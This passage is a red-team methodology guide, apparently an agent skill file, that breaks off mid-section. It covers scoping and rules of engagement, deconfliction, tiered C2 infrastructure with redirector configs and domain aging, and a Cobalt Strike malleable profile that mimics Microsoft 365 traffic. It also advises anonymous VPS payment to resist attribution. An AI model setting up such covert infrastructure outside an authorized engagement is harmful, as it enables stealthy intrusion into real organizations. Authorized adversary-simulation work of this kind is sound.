---

name: offensive-advanced-redteam description: "Comprehensive red team operations methodology covering full engagement lifecycle from planning through reporting. Addresses engagement scoping and rules of engagement negotiation, multi-tier C2 infrastructure design with redirectors and domain fronting, malleable traffic profiles and beacon tradecraft, OPSEC discipline including attribution avoidance and indicator management, EDR and AMSI evasion techniques using direct syscalls and unhooking, data collection with chain-of-custody controls, and structured reporting with purple team debrief workflows. Covers assumed-breach, external-to-internal, insider threat, and hybrid physical-cyber engagement scenarios with MITRE ATT&CK mapping throughout. Targets operators planning or executing adversary simulation engagements against mature defenders."

Advanced Red Team Operations

Red team engagements simulate real-world adversaries against an organization's people, processes, and technology. Unlike penetration tests that maximize vulnerability discovery in a fixed scope, red team operations test detection and response capabilities by pursuing specific objectives while evading defenders. You operate under rules of engagement that define what is in bounds, and every action you take must be deliberate, documented, and reversible. This skill covers the full engagement lifecycle from initial planning through final debrief.

Quick Workflow

1. Negotiate scope, rules of engagement, and deconfliction procedures with the client.
2. Build tiered attack infrastructure with redirectors, aged domains, and valid TLS.
3. Configure C2 profiles to blend with the target's legitimate traffic patterns.
4. Execute the attack chain while maintaining strict OPSEC and logging every action.
5. Collect and stage data with encryption; maintain chain of custody throughout.
6. Evade endpoint and network defenses using tested bypass techniques.
7. Document findings with MITRE ATT&CK mappings and deliver structured reporting.
8. Conduct purple team debrief to validate detection gaps and remediation.

---

Engagement Planning

Every red team engagement begins with planning that protects both the operator and the client. Skipping this phase leads to scope disputes, legal exposure, and operational failures.

Scope and Objectives

Define what you are testing and what success looks like. Common objective types include data exfiltration (retrieve specific records from a database), domain dominance (obtain Domain Admin or equivalent), business process disruption (demonstrate ability to halt a critical workflow), and physical access (gain entry to a restricted area).

Document explicitly what is out of scope: production systems that cannot tolerate downtime, third-party SaaS platforms without authorization, destructive actions, and social engineering of specific individuals (executives, legal counsel).

Rules of Engagement (ROE)

The ROE is a signed legal document. It must contain:

• Authorization window: exact dates and hours of permitted activity.
• Authorized techniques: which ATT&CK tactics are permitted (e.g., no physical access, no supply chain attacks).
• Notification thresholds: conditions under which you must pause and notify the client (e.g., discovering active threat actor, finding child exploitation material, accidental data destruction).
• Emergency contacts: a 24/7 phone number for immediate deconfliction, not just email.
• Legal shield: explicit written authorization referencing the Computer Fraud and Abuse Act (US), Computer Misuse Act (UK), or equivalent local statute.

Deconfliction

Establish a deconfliction process so defenders can verify whether observed activity is your operation or a real threat. Common approaches:

• Trusted agent model: one or two individuals on the defender side who know the engagement is happening and can confirm or deny your activity via a secure channel.
• Code word system: a unique code word embedded in your tooling or traffic that defenders can query the trusted agent about.
• Deconfliction log: a timestamped record of every action you take, shared with the trusted agent in near-real-time via an encrypted channel.

# Example deconfliction log entry
2026-08-25T14:32:00Z | OPERATOR: kai | ACTION: lateral-movement
  TARGET: 10.10.5.22 (WORKSTATION-FIN03)
  TECHNIQUE: T1021.006 (Windows Remote Management)
  TOOL: evil-winrm via SOCKS proxy
  NOTES: creds from LSASS dump on WORKSTATION-FIN01
  DECONF-CODE: REDTIGER-4482

Communications Security

All operator communications use end-to-end encrypted channels. Never discuss target details over unencrypted email or Slack. Use a dedicated encrypted messaging platform (Signal, Wire, or a self-hosted Matrix instance) for real-time coordination. Transfer files and logs over mutually authenticated TLS or via GPG-encrypted archives.

---

Infrastructure Setup

Your infrastructure is what separates a red team engagement from a penetration test run out of a Kali VM. Invest time in building infrastructure that is resilient, attributable only to your cover identity, and segmented so that burning one asset does not compromise the operation. Map infrastructure actions to MITRE ATT&CK Resource Development (TA0042).

Tiered Architecture

Segment infrastructure into at least three tiers:

| Tier | Purpose | Burn Tolerance | Example | |------|---------|----------------|---------| | T1 - Delivery | Phishing, payload hosting | High (expect burn) | Aged domain + Mailgun | | T2 - Short-haul C2 | Interactive operator sessions | Medium | VPS + Cloudflare tunnel | | T3 - Long-haul C2 | Persistence callbacks | Low (protect at all costs) | DNS-over-HTTPS beacon |

Each tier uses separate domains, separate VPS providers, and separate operator accounts. If T2 is burned, you re-establish interactive access through T3 without re-phishing.

Domain Aging and Reputation

Register domains at least 14-30 days before the engagement. During the aging period:

# Set up a basic landing page to build categorization
sudo certbot certonly --standalone -d ops-portal.example.com
echo "<html><body>Coming soon</body></html>" > /var/www/html/index.html

# Submit to categorization services
# Visit: https://sitereview.bluecoat.com/
# Visit: https://www.fortiguard.com/webfilter
# Categorize as "Business" or "Technology" - never "Uncategorized"

# Verify categorization after 7-10 days
curl -s "https://sitereview.bluecoat.com/resource/lookup" \
  -d "url=ops-portal.example.com" | jq .

Choose domain names that blend with the target's industry. If the target is a financial firm, domains resembling fintech SaaS products are more plausible than gaming sites.

Redirectors and Traffic Filtering

Never expose your team server directly to the internet. Use redirectors that filter traffic and forward only legitimate beacon callbacks.

# /etc/nginx/sites-available/redirector.conf
# Smart redirector: forward only traffic matching your C2 profile
server {
    listen 443 ssl;
    server_name ops-portal.example.com;

    ssl_certificate /etc/letsencrypt/live/ops-portal.example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/ops-portal.example.com/privkey.pem;

    # Only forward requests with the correct URI and User-Agent
    location /api/v2/session {
        if ($http_user_agent !~* "Microsoft-Delivery-Optimization") {
            return 302 https://www.microsoft.com;
        }
        proxy_pass https://127.0.0.1:8443;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }

    # Everything else redirects to a legitimate site
    location / {
        return 302 https://www.microsoft.com;
    }
}

For team server management traffic, use Cloudflare Zero Trust tunnels or SSH tunnels rather than exposing management ports:

# Bind team server to localhost only
./teamserver 127.0.0.1 <password> /path/to/malleable.profile

# Create a Cloudflare tunnel for operator access
cloudflared tunnel create redteam-mgmt
cloudflared tunnel route dns redteam-mgmt mgmt.internal-ops.example.com
cloudflared tunnel run --url tcp://127.0.0.1:50050 redteam-mgmt

# Operators connect through the tunnel
# On operator machine:
cloudflared access tcp --hostname mgmt.internal-ops.example.com --url 127.0.0.1:50050

VPS and TLS Certificates

Use VPS providers that accept cryptocurrency or prepaid cards for attribution resistance. Avoid providers that share infrastructure details freely with law enforcement without due process. Always use valid TLS certificates from a public CA; self-signed certificates are trivially fingerprinted by network monitoring.

# Generate a certificate with certbot
sudo certbot certonly --standalone -d c2.example.com

# Convert to Java Keystore for Cobalt Strike
openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem \
  -out c2.pkcs12 -name c2 -passout pass:changeit
keytool -importkeystore -srckeystore c2.pkcs12 -srcstoretype pkcs12 \
  -destkeystore c2.store -deststorepass changeit -srcstorepass changeit

---

C2 Tradecraft

Command and control is the backbone of your operation. Your C2 traffic must blend with the target's legitimate network activity and survive defender inspection. Map to MITRE ATT&CK Command and Control (TA0011).

Malleable Profiles and Traffic Blending

Study the target's legitimate traffic before writing your malleable profile. If the target is a Microsoft 365 shop, your beacon traffic should resemble Office 365 API calls. If they use AWS heavily, mimic AWS SDK traffic patterns.

# Cobalt Strike malleable C2 profile excerpt - Microsoft 365 blend
set sleeptime "60000";
set jitter    "37";
set useragent "Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0)";
set host_stage "false";

https-certificate {
    set keystore "c2.store";
    set password "changeit";
}

http-get {
    set uri "/api/v2.0/me/messages";
    client {
        header "Accept" "application/json";
        header "Authorization" "Bearer eyJ0eXAiOi...";
        metadata {
            base64url;
            prepend "ocp-client-id=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "application/json; odata.metadata=minimal";
        header "X-MS-Request-Id" "a1b2c3d4-e5f6-7890-abcd-ef1234567890";
        output {
            base64url;
            prepend "{\"@odata.context\":\"https://outlook.office.com/api/v2.0/$metadata#Me/Messages\",\"value\":[{\"Body\":{\"Content\":\"";
            append "\"}}]}";
            print;
        }
    }
}

http-post {
    set uri "/api/v2.0/me/sendmail";
    client {
        header "Content-Type" "application/json";
        id {
            base64url;
            prepend "client-request-id=";
            header "Cookie";
        }
        output {
            base64url;
            print;
        }
    }
    server {
        header "Content-Type" "application/json";
        output {
            base64url;
            prepend "{\"status\":\"sent\",\"id\":\"";
            append "\"}";
            print;
        }
    }
}

Sleep, Jitter, and Beacon Management

Never use a zero sleep interval except during active hands-on-keyboard sessions, and even then prefer 1-3 seconds. For idle beacons, use long sleep intervals with high jitter to defeat statistical analysis of callback timing.

| Beacon Type | Sleep | Jitter | Use Case | |-------------|-------|--------|----------| | Interactive (T2) | 5-10s | 30-50% | Active operator sessions | | Idle (T2) | 60-300s | 30-50% | Waiting for tasking | | Long-haul (T3) | 12-24h | 50% | Persistence only | | Exfiltration | 30-60s | 20% | During data staging |

Set kill dates on every beacon. A forgotten beacon calling back months after the engagement creates legal liability and confusion for the client.

Fallback Channels

De